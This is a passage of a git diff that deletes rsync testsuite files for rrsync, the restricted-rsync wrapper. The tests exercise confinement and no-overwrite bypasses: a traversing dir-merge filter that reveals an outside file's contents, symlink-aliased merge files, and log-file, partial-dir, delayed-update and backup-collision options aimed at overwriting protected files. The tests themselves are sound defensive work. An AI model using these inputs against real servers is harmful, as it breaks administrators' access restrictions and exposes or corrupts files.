str(dest) + '/')\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-\n-for name in ('f1', 'f2'):\n-    got = dest / name\n-    if not got.is_file():\n-        test_fail(f'--files-from pull did not deliver {name} ({ctx})')\n-    if got.read_text() != DATA:\n-        test_fail(f'--files-from pull delivered wrong content for {name} ({ctx})')\n-if proc.returncode != 0:\n-    test_fail(f'--files-from pull delivered the files but failed ({ctx})')\n-\n-# --- control: a --files-from that IS a pathname stays confined ---------------\n-# The sentinel exemption must be for the exact string \"-\" only, not a general\n-# hole in the checking of this option.\n-def rrsync_direct(files_from):\n-    # rrsync insists on the \"--sender ...\" shape sshd hands it; get that right\n-    # or it dies at the syntax check without ever looking at the option value,\n-    # which would make this control pass no matter what.\n-    return subprocess.run(\n-        [str(rrsync), '-ro', '-no-lock', str(restricted)],\n-        env={**os.environ,\n-             'SSH_ORIGINAL_COMMAND':\n-                 'rsync --server --sender -logDtpre.iLsfxC '\n-                 '--files-from=%s . .' % files_from},\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-\n-# Prove the command shape itself is accepted, so a rejection below is really\n-# about the pathname.\n-proc = rrsync_direct(restricted / 'f1')\n-for wrong in ('invalid rsync-command syntax', 'does not run rsync'):\n-    if wrong in proc.stdout:\n-        test_fail('the control command shape is wrong, so it never reaches the '\n-                  f'--files-from check ({wrong!r}): '\n-                  f'output={proc.stdout.strip()[:300]!r}')\n-\n-proc = rrsync_direct(outside / 'list')\n-if proc.returncode == 0:\n-    test_fail('an out-of-tree --files-from pathname was accepted: '\n-              f'output={proc.stdout.strip()[:300]!r}')\n-for wrong in ('invalid rsync-command syntax', 'does not run rsync'):\n-    if wrong in proc.stdout:\n-        test_fail('the out-of-tree --files-from was rejected for the wrong '\n-                  f'reason ({wrong!r}, not the pathname): '\n-                  f'{proc.stdout.strip()[:300]!r}')\n-\n-print('rrsync passes the --files-from stdin sentinel through; '\n-      'a real out-of-tree list file is still refused')\ndiff --git a/testsuite/rrsync-logfile-symlink_test.py b/testsuite/rrsync-logfile-symlink_test.py\ndeleted file mode 100644\nindex a624c7d..0000000\n--- a/testsuite/rrsync-logfile-symlink_test.py\n+++ /dev/null\n@@ -1,26 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, test_fail\n-from rsyncfns import patched_rrsync\n-\n-base = SCRATCHDIR / 'rrsync-logfile'\n-restricted = base / 'restricted'\n-outside = base / 'outside.log'\n-base.mkdir(parents=True, exist_ok=True)\n-restricted.mkdir(exist_ok=True)\n-outside.write_text('ORIGINAL\\n')\n-os.symlink(outside, base / 'rrsync.log')\n-rrsync = patched_rrsync(base)\n-\n-env = {**os.environ, 'SSH_ORIGINAL_COMMAND': 'rsync --server --sender . .'}\n-proc = subprocess.run([str(rrsync), '-ro', '-no-lock', str(restricted)],\n-                      cwd=base, env=env, stdout=subprocess.PIPE,\n-                      stderr=subprocess.PIPE, text=True)\n-if proc.returncode != 0:\n-    test_fail(f\"patched rrsync command failed unexpectedly:\\n{proc.stderr}\")\n-if outside.read_text() != 'ORIGINAL\\n':\n-    test_fail(\"rrsync followed a symlinked LOGFILE and appended outside the restricted policy\")\n-\n-print(\"rrsync-logfile-symlink: LOGFILE symlink is not followed\")\ndiff --git a/testsuite/rrsync-merge-file-confine_test.py b/testsuite/rrsync-merge-file-confine_test.py\ndeleted file mode 100644\nindex ccede35..0000000\n--- a/testsuite/rrsync-merge-file-confine_test.py\n+++ /dev/null\n@@ -1,139 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"An rrsync restricted dir must bound the merge files the peer can name.\n-\n-Filter rules travel over the protocol rather than in the argv rrsync validates,\n-so a dir-merge rule can name a file outside the restricted dir and have the\n-server read it in as rules.  Redacting the resulting diagnostics is not enough:\n-an exclude-only merge (the \"-\" modifier) turns every line into a pattern, so\n-nothing fails to parse and the client reads the file's contents off its own\n-file list instead -- no error, no verbosity, and on a pull no --delete either.\n-\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    os.execve(wrapper, [wrapper, '-ro', '-no-lock', root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-merge-file-confine'\n-rmtree(base)\n-root = base / 'root'\n-sub = root / 'sub'\n-dest = base / 'dest'\n-makepath(sub, dest)\n-\n-# The secret sits BESIDE the restricted dir, so \"../\" reaches it from the root.\n-# Its line is the name of a file inside the root: if the server reads it as an\n-# exclude list, that file silently vanishes from the transfer and the client has\n-# confirmed the content without ever seeing it.\n-(base / 'outside-secret').write_text('secretword\\n')\n-(root / 'secretword').write_bytes(b'X')\n-(root / 'keep').write_bytes(b'X')\n-# An ordinary in-tree merge file, for the control below.\n-(sub / 'intree-dropped').write_bytes(b'X')\n-(sub / 'intree-kept').write_bytes(b'X')\n-(sub / '.rsync-filter').write_text('intree-dropped\\n')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-\n-\n-def pull(filt, into):\n-    into.mkdir(parents=True, exist_ok=True)\n-    return subprocess.run(\n-        rsync_argv('-r', f'--filter={filt}', '-e', rsh, 'ignored:.', f'{into}/'),\n-        env=env, capture_output=True, text=True, timeout=20)\n-\n-\n-# The escape: an exclude-only dir-merge naming a file outside the restricted\n-# dir.  No --delete and no -v are involved -- the answer is the file list.\n-esc = dest / 'escape'\n-got = pull(':-s ../outside-secret', esc)\n-assert got.returncode == 0, (\n-    'confining the merge open must not cost the transfer: refusing outright '\n-    f'would hand the peer a denial of service. rc={got.returncode}, '\n-    f'stderr={got.stderr!r}')\n-assert (esc / 'secretword').exists(), (\n-    'the server read a merge file outside the restricted dir: \"secretword\" was '\n-    f'excluded, so its presence in that file is confirmed to the client. '\n-    f'rc={got.returncode}, stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert 'secretword' not in got.stderr, (\n-    f'the out-of-root merge file\\'s text reached the peer: stderr={got.stderr!r}')\n-\n-# Control: an ordinary in-tree .rsync-filter must still be read and obeyed.\n-# Without this, refusing every merge file would pass the assertion above.\n-ctl = dest / 'control'\n-got = pull(':-s .rsync-filter', ctl)\n-assert got.returncode == 0, (\n-    f'the in-tree dir-merge failed the transfer: rc={got.returncode}, '\n-    f'stderr={got.stderr!r}')\n-assert (ctl / 'sub' / 'intree-kept').exists(), (\n-    f'the in-tree dir-merge broke the transfer: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert not (ctl / 'sub' / 'intree-dropped').exists(), (\n-    'the in-tree .rsync-filter was not applied, so this control does not show '\n-    f'that merge files still work: stdout={got.stdout!r}, stderr={got.stderr!r}')\n-\n-# --confine-root direct, no wrapper: a source argument reached through a symlink\n-# makes rsync's tracked cwd deeper than the kernel's, so a merge file's own\n-# relative symlink resolves from one directory while the confinement check walks\n-# from another.  Seeded lexically, a \"..\" that really escapes looks like it\n-# landed back inside the root.  rrsync happens to reject the argument shapes\n-# that reach this, so it is driven directly rather than through the wrapper.\n-alias_root = base / 'aliased'\n-makepath(alias_root)\n-(base / 'aliased-secret').write_text('aliased-word\\n')\n-(alias_root / 'aliased-word').write_bytes(b'X')\n-(alias_root / 'plain').write_bytes(b'X')\n-os.symlink('.', alias_root / 'self-alias')\n-os.symlink('../aliased-secret', alias_root / 'outside-link')\n-(alias_root / 'intree-list').write_text('plain\\n')\n-\n-\n-def confined_pull(filter_text, into):\n-    (alias_root / '.rsync-filter').write_text(filter_text + '\\n')\n-    rmtree(into)\n-    into.mkdir(parents=True, exist_ok=True)\n-    return subprocess.run(\n-        rsync_argv('-r', f'--confine-root={alias_root}',\n-                   '--filter=:s .rsync-filter',\n-                   f'{alias_root}/self-alias/', f'{into}/'),\n-        capture_output=True, text=True, timeout=20)\n-\n-\n-esc2 = dest / 'aliased-escape'\n-got = confined_pull('merge,- outside-link', esc2)\n-assert not (got.returncode == 0 and not (esc2 / 'aliased-word').exists()), (\n-    'a merge file outside the root was read through a symlinked source arg, so '\n-    f'\"aliased-word\" was excluded: rc={got.returncode}, stderr={got.stderr!r}')\n-\n-# Control: the same symlinked source arg with an IN-TREE merge target must still\n-# work, or the assertion above would also pass if confinement simply broke every\n-# transfer that reaches a directory through a symlink.\n-ctl2 = dest / 'aliased-control'\n-got = confined_pull('merge,- intree-list', ctl2)\n-assert got.returncode == 0 and (ctl2 / 'aliased-word').exists(), (\n-    'a symlinked source arg with an in-tree merge file broke the transfer: '\n-    f'rc={got.returncode}, stderr={got.stderr!r}')\n-assert not (ctl2 / 'plain').exists(), (\n-    'the in-tree merge file was not applied through the symlinked source arg, '\n-    f'so the escape check above proves nothing: stderr={got.stderr!r}')\ndiff --git a/testsuite/rrsync-no-overwrite-backup-collision_test.py b/testsuite/rrsync-no-overwrite-backup-collision_test.py\ndeleted file mode 100644\nindex c3009a8..0000000\n--- a/testsuite/rrsync-no-overwrite-backup-collision_test.py\n+++ /dev/null\n@@ -1,99 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync -no-overwrite must not let backup publication overwrite a protected file.\n-\n---ignore-existing protects the live destination, but a backup published onto a\n-name that already exists deletes what is there (backup.c make_backup()), and\n-deleting a file backs it up first (delete.c).  So a --delete of an unrelated\n-file can land on a protected name that the source itself also carries.\n-\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    flags = env.get('RRSYNC_FLAGS', '-wo -no-overwrite -no-lock').split()\n-    os.execve(wrapper, [wrapper, *flags, root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-no-overwrite-backup-collision'\n-rmtree(base)\n-src = base / 'src'\n-makepath(src)\n-# In the source too, so --ignore-existing is what is supposed to protect it.\n-(src / 'victim.bak').write_bytes(b'SOURCE')\n-\n-\n-def plant(root):\n-    makepath(root)\n-    (root / 'victim').write_bytes(b'OLD-LIVE')     # absent from src: --delete removes it\n-    (root / 'victim.bak').write_bytes(b'POLICY')   # the protected file\n-\n-\n-root = base / 'root'\n-plant(root)\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-\n-# The stock client sends -b inside the remote short-option bundle, so the\n-# refusal has to come from short_disabled, not the long-option table.\n-argv = rsync_argv('-r', '--delete', '--backup', '--suffix=.bak', '-e', rsh, f'{src}/', 'ignored:')\n-got = subprocess.run(argv, env=env, capture_output=True, text=True, timeout=20)\n-\n-state = (root / 'victim.bak').read_bytes() if (root / 'victim.bak').exists() else None\n-assert got.returncode != 0 and 'option -b has been disabled' in got.stderr, (\n-    f'rrsync -no-overwrite accepted backup mode: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert state == b'POLICY', (\n-    f'backup publication overwrote a protected file: state={state!r}, '\n-    f'stderr={got.stderr!r}')\n-\n-# An ordinary upload must still work.\n-(src / 'new').write_bytes(b'NEW')\n-safe = subprocess.run(\n-    rsync_argv('-rI', '-e', rsh, f'{src}/new', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert safe.returncode == 0 and (root / 'new').read_bytes() == b'NEW', (\n-    f'ordinary upload failed: rc={safe.returncode}, stderr={safe.stderr!r}')\n-\n-# The refusal must be CONDITIONAL on -no-overwrite -- and the identical run\n-# through a wrapper without it also demonstrates that the destructive primitive\n-# is real, which the assertions above cannot show once the refusal aborts the\n-# transfer.  --ignore-existing is passed by hand here: it is what -no-overwrite\n-# forces, so this shows the collision defeating that protection rather than the\n-# transfer simply writing its own victim.bak.  A fresh root keeps this from\n-# disturbing the checks above.\n-plain_root = base / 'root-plain'\n-rmtree(plain_root)\n-plant(plain_root)\n-plain_env = {**env, 'RRSYNC_ROOT': str(plain_root), 'RRSYNC_FLAGS': '-wo -no-lock'}\n-plain_argv = rsync_argv('-r', '--delete', '--backup', '--suffix=.bak',\n-                        '--ignore-existing', '-e', rsh, f'{src}/', 'ignored:')\n-plain = subprocess.run(plain_argv, env=plain_env, capture_output=True, text=True, timeout=20)\n-plain_state = (plain_root / 'victim.bak').read_bytes() if (plain_root / 'victim.bak').exists() else None\n-assert plain.returncode == 0, (\n-    'without -no-overwrite the same options must be accepted, or the refusal '\n-    'above is unconditional and says nothing about the policy: '\n-    f'rc={plain.returncode}, stderr={plain.stderr!r}')\n-assert plain_state == b'OLD-LIVE', (\n-    'the backup collision did not overwrite the protected file even without '\n-    '-no-overwrite, so this test no longer exercises the primitive it claims '\n-    f'to: state={plain_state!r}, stderr={plain.stderr!r}')\ndiff --git a/testsuite/rrsync-no-overwrite-delay-symlinks_test.py b/testsuite/rrsync-no-overwrite-delay-symlinks_test.py\ndeleted file mode 100644\nindex d9cadfe..0000000\n--- a/testsuite/rrsync-no-overwrite-delay-symlinks_test.py\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync accepts --delay-symlinks, and -no-overwrite refuses it.\n-\n-The deferred symlinks are created at the end of the transfer, replacing\n-whatever has appeared at that name since the --ignore-existing check, so\n--no-overwrite has to refuse the option as it does --delay-updates.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    flags = env.get('RRSYNC_FLAGS', '-wo -no-overwrite -no-lock').split()\n-    os.execve(wrapper, [wrapper, *flags, root], env)\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, forced_protocol, makepath, patched_rrsync, rmtree,\n-    rsync_argv, rsync_path_arg, test_skipped,\n-)\n-\n-proto = forced_protocol()\n-if proto is not None and proto < 29:\n-    test_skipped(f\"--delay-symlinks requires protocol 29+ (negotiated {proto})\")\n-\n-base = SCRATCHDIR / 'rrsync-no-overwrite-delay-symlinks'\n-rmtree(base)\n-src = base / 'src'\n-makepath(src)\n-(src / 'target').write_bytes(b'NEW')\n-os.symlink('target', src / 'link')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-\n-\n-def push(root, flags):\n-    rmtree(root)\n-    makepath(root)\n-    env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root),\n-           'RRSYNC_FLAGS': flags}\n-    return subprocess.run(\n-        rsync_argv('-rl', '--delay-symlinks', '-e', rsh, f'{src}/', 'ignored:'),\n-        env=env, capture_output=True, text=True, timeout=20)\n-\n-\n-root = base / 'root'\n-got = push(root, '-wo -no-overwrite -no-lock')\n-assert got.returncode != 0 and 'option --delay-symlinks has been disabled' in got.stderr, (\n-    f'rrsync -no-overwrite accepted --delay-symlinks: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert not os.listdir(root), f'a refused transfer wrote into the root: {os.listdir(root)}'\n-\n-# The refusal must be CONDITIONAL on -no-overwrite, and an ordinary rrsync\n-# must accept the option: run the same push through a wrapper without it.\n-plain_root = base / 'root-plain'\n-plain = push(plain_root, '-wo -no-lock')\n-assert plain.returncode == 0, (\n-    'without -no-overwrite rrsync must accept --delay-symlinks: '\n-    f'rc={plain.returncode}, stderr={plain.stderr!r}')\n-assert os.readlink(plain_root / 'link') == 'target', 'the symlink was not transferred'\n-assert (plain_root / 'target').read_bytes() == b'NEW', 'the target was not transferred'\ndiff --git a/testsuite/rrsync-no-overwrite-delay-updates_test.py b/testsuite/rrsync-no-overwrite-delay-updates_test.py\ndeleted file mode 100644\nindex 0cd53f0..0000000\n--- a/testsuite/rrsync-no-overwrite-delay-updates_test.py\n+++ /dev/null\n@@ -1,67 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync -no-overwrite must protect implicit delay-update partial files.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    flags = env.get('RRSYNC_FLAGS', '-wo -no-overwrite -no-lock').split()\n-    os.execve(wrapper, [wrapper, *flags, root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-no-overwrite-delay-updates'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'root'\n-makepath(src, root / '.~tmp~')\n-(src / 'victim').write_bytes(b'NEW')\n-protected = root / '.~tmp~' / 'victim'\n-protected.write_bytes(b'POLICY')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-got = subprocess.run(\n-    rsync_argv('-rI', '--delay-updates', '-e', rsh,\n-               f'{src}/victim', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-\n-state = protected.read_bytes() if protected.exists() else None\n-assert got.returncode != 0 and 'option --delay-updates has been disabled' in got.stderr, (\n-    f'rrsync -no-overwrite accepted --delay-updates: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert state == b'POLICY', f'delay-updates consumed an existing file: state={state!r}'\n-\n-# The refusal must be CONDITIONAL on -no-overwrite.  Run the identical option\n-# through a wrapper without it: if that is refused too, the option is simply\n-# disabled for every rrsync deployment and the assertion above proves nothing\n-# about the policy.  A fresh root keeps this from disturbing the checks above.\n-plain_root = base / 'root-plain'\n-rmtree(plain_root)\n-makepath(plain_root / '.~tmp~')\n-(plain_root / '.~tmp~' / 'victim').write_bytes(b'POLICY')\n-plain_env = {**env, 'RRSYNC_ROOT': str(plain_root), 'RRSYNC_FLAGS': '-wo -no-lock'}\n-plain = subprocess.run(\n-    rsync_argv('-rI', '--delay-updates', '-e', rsh, f'{src}/victim', 'ignored:'),\n-    env=plain_env, capture_output=True, text=True, timeout=20)\n-assert plain.returncode == 0, (\n-    'without -no-overwrite the same option must be accepted, or the refusal '\n-    'above is unconditional and says nothing about the policy: '\n-    f'rc={plain.returncode}, stderr={plain.stderr!r}')\ndiff --git a/testsuite/rrsync-no-overwrite-logfile_test.py b/testsuite/rrsync-no-overwrite-logfile_test.py\ndeleted file mode 100644\nindex 89d6b6e..0000000\n--- a/testsuite/rrsync-no-overwrite-logfile_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync -no-overwrite must not let the peer append to an existing file.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    flags = env.get('RRSYNC_FLAGS', '-wo -no-overwrite -no-lock').split()\n-    os.execve(wrapper, [wrapper, *flags, root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-no-overwrite-logfile'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'root'\n-makepath(src, root)\n-(src / 'new').write_bytes(b'NEW')\n-protected = root / 'protected'\n-protected.write_bytes(b'POLICY\\n')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-got = subprocess.run(\n-    rsync_argv('-rI', '-M--log-file=protected',\n-               '-M--log-format=ATTACKER-CONTROLLED',\n-               '-e', rsh, f'{src}/new', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-\n-assert got.returncode != 0 and 'option --log-file has been disabled' in got.stderr, (\n-    f'rrsync -no-overwrite accepted --log-file: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert protected.read_bytes() == b'POLICY\\n'\n-\n-safe = subprocess.run(\n-    rsync_argv('-rI', '-e', rsh, f'{src}/new', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert safe.returncode == 0 and (root / 'new').read_bytes() == b'NEW', (\n-    f'ordinary upload failed: rc={safe.returncode}, stderr={safe.stderr!r}')\n-\n-# The refusal must be CONDITIONAL on -no-overwrite.  Run the identical option\n-# through a wrapper without it: if that is refused too, the option is simply\n-# disabled for every rrsync deployment and the assertion above proves nothing\n-# about the policy.  A fresh root keeps this from disturbing the checks above.\n-plain_root = base / 'root-plain'\n-rmtree(plain_root)\n-makepath(plain_root)\n-(plain_root / 'protected').write_bytes(b'POLICY\\n')\n-plain_env = {**env, 'RRSYNC_ROOT': str(plain_root), 'RRSYNC_FLAGS': '-wo -no-lock'}\n-plain = subprocess.run(\n-    rsync_argv('-rI', '-M--log-file=protected', '-M--log-format=X', '-e', rsh, f'{src}/new', 'ignored:'),\n-    env=plain_env, capture_output=True, text=True, timeout=20)\n-assert plain.returncode == 0, (\n-    'without -no-overwrite the same option must be accepted, or the refusal '\n-    'above is unconditional and says nothing about the policy: '\n-    f'rc={plain.returncode}, stderr={plain.stderr!r}')\ndiff --git a/testsuite/rrsync-no-overwrite-partial-dir_test.py b/testsuite/rrsync-no-overwrite-partial-dir_test.py\ndeleted file mode 100644\nindex 5b5a15e..0000000\n--- a/testsuite/rrsync-no-overwrite-partial-dir_test.py\n+++ /dev/null\n@@ -1,75 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"rrsync -no-overwrite must protect existing partial-dir files too.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    flags = env.get('RRSYNC_FLAGS', '-wo -no-overwrite -no-lock').split()\n-    os.execve(wrapper, [wrapper, *flags, root], env)\n-\n-from rsyncfns import RSYNC, SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-no-overwrite-partial-dir'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'root'\n-makepath(src, root / 'protected')\n-(src / 'victim').write_bytes(b'NEW')\n-protected = root / 'protected' / 'victim'\n-protected.write_bytes(b'POLICY')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-got = subprocess.run(\n-    rsync_argv('-rI', '--partial', '--partial-dir=protected',\n-               '-e', rsh, f'{src}/victim', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-\n-state = protected.read_bytes() if protected.exists() else None\n-assert got.returncode != 0 and 'option --partial-dir has been disabled' in got.stderr, (\n-    f'rrsync -no-overwrite accepted --partial-dir: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert state == b'POLICY', (\n-    f'rrsync consumed an existing partial file: rc={got.returncode}, '\n-    f'state={state!r}, stderr={got.stderr!r}')\n-\n-safe = subprocess.run(\n-    rsync_argv('-rI', '-e', rsh, f'{src}/victim', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert safe.returncode == 0 and (root / 'victim').read_bytes() == b'NEW', (\n-    f'ordinary upload failed: rc={safe.returncode}, stderr={safe.stderr!r}')\n-\n-# The refusal must be CONDITIONAL on -no-overwrite.  Run the identical option\n-# through a wrapper without it: if that is refused too, the option is simply\n-# disabled for every rrsync deployment and the assertion above proves nothing\n-# about the policy.  A fresh root keeps this from disturbing the checks above.\n-plain_root = base / 'root-plain'\n-rmtree(plain_root)\n-makepath(plain_root / 'protected')\n-(plain_root / 'protected' / 'victim').write_bytes(b'POLICY')\n-plain_env = {**env, 'RRSYNC_ROOT': str(plain_root), 'RRSYNC_FLAGS': '-wo -no-lock'}\n-plain = subprocess.run(\n-    rsync_argv('-rI', '--partial', '--partial-dir=protected', '-e', rsh, f'{src}/victim', 'ignored:'),\n-    env=plain_env, capture_output=True, text=True, timeout=20)\n-assert plain.returncode == 0, (\n-    'without -no-overwrite the same option must be accepted, or the refusal '\n-    'above is unconditional and says nothing about the policy: 